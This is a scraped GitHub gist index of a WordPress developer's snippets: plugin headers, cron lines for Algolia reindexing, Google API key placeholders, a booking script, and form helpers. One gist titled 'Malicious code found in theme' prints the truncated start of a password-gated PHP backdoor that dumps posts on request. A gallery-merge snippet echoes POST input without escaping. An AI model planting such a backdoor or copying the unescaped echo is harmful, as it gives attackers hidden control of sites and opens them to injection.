Skip to content

Instantly share code, notes, and snippets.

Phil Wylie mustardBees

Block or report user

Report or block mustardBees

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@mustardBees
mustardBees / time-smudge.php
Last active Feb 18, 2020
Do you have a bunch of posts which share the same publish date & time? Do you find the order of your posts shifts around each time a query is run? This can happen after running a mass import of posts. Time Smudge spaces out the publish time randomly over the same/next day giving you a definite value for a buttery smooth, consistent sort order.
View time-smudge.php
<?php
/*
Plugin Name: Time Smudge
Plugin URI: https://www.philwylie.co.uk/
Description: Do you have a bunch of posts which share the same publish date &amp; time? Do you find the order of your posts shifts around each time a query is run? This can happen after running a mass import of posts. Time Smudge spaces out the publish time randomly over the same/next day giving you a definite value for a buttery smooth, consistent sort order.
Version: 1.0.0
Author: Phil Wylie
Author URI: https://www.philwylie.co.uk/
License: GPL2
*/
View import-terms.php
<?php
/*
Plugin Name: Import terms
Plugin URI: https://www.philwylie.co.uk/
Description: Given an array of terms, import into a specified taxonomy. Tool to help format array - https://link.from.pw/2tM8iEs
Version: 1.0.0
Author: Phil Wylie
Author URI: https://www.philwylie.co.uk/
License: GPL2
*/
View cron.sh
0 18 * * 1-5 wp algolia reindex --all --path=/home/user/public_html
0 18 * * 1-5 wp algolia reindex searchable_posts --path=/home/user/public_html
View functions.php
<?php
/**
* Google API key.
*/
function pw_google_api_key() {
return 'KEY';
}
add_filter( 'pw_google_api_key', 'pw_google_api_key' );
View wp-config.php
<?php
/** Google API key. */
define('PW_GOOGLE_API_KEY', 'KEY');
View meta-boxes.php
<?php
$cmb->add_field( array(
'name' => 'Location',
'desc' => 'Drag the marker to set the exact location',
'id' => $prefix . 'location',
'type' => 'pw_map',
// 'split_values' => true, // Save latitude and longitude as two separate fields
// 'api_key' => 'KEY', // Google API Key
) );
@mustardBees
mustardBees / gist:1ca6c035b6861b370fd9c7813b5667df
Created May 29, 2018
ACF gallery field. Merge serialized arrays php
View gist:1ca6c035b6861b370fd9c7813b5667df
<div id="main-content" class="is_fullwidth home-template">
<div class="container">
<div class="row">
<div class="col-xs-12">
<form method="post">
<p>
<textarea name="galleries" style="width: 500px; height:200px;"><?php echo ( isset( $_POST['galleries'] ) && ! empty( $_POST['galleries'] ) ) ? stripslashes( $_POST['galleries'] ) : ''; ?></textarea>
</p>
@mustardBees
mustardBees / functions.php
Created Mar 19, 2018
Malicious code found in theme
View functions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2fbea44207801ca38544db1f0044226e'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
View mews-init.js
Mews.Distributor({
configurationIds: $.map(iweb_mews_config, function (o) {
return o["configurationid"];
}),
hotelIds : ['1', '2'], // Hacky workaround to force Distributor into chain mode.
}, function (distributor) {
// Hook into booking links, optionally prepopulate a voucher code.
$('.js-booking-link').on('click', function (e) {
e.preventDefault();
@mustardBees
mustardBees / functions.php
Created Aug 3, 2017
Formidable - add classes to each form's submit button.
View functions.php
<?php
/**
* Add classes to each form's submit button.
*
* @param array $classes
*
* @return array
*/
function iweb_add_submit_button_classes( $classes ) {
$classes[] = 'button medium color';
You can’t perform that action at this time.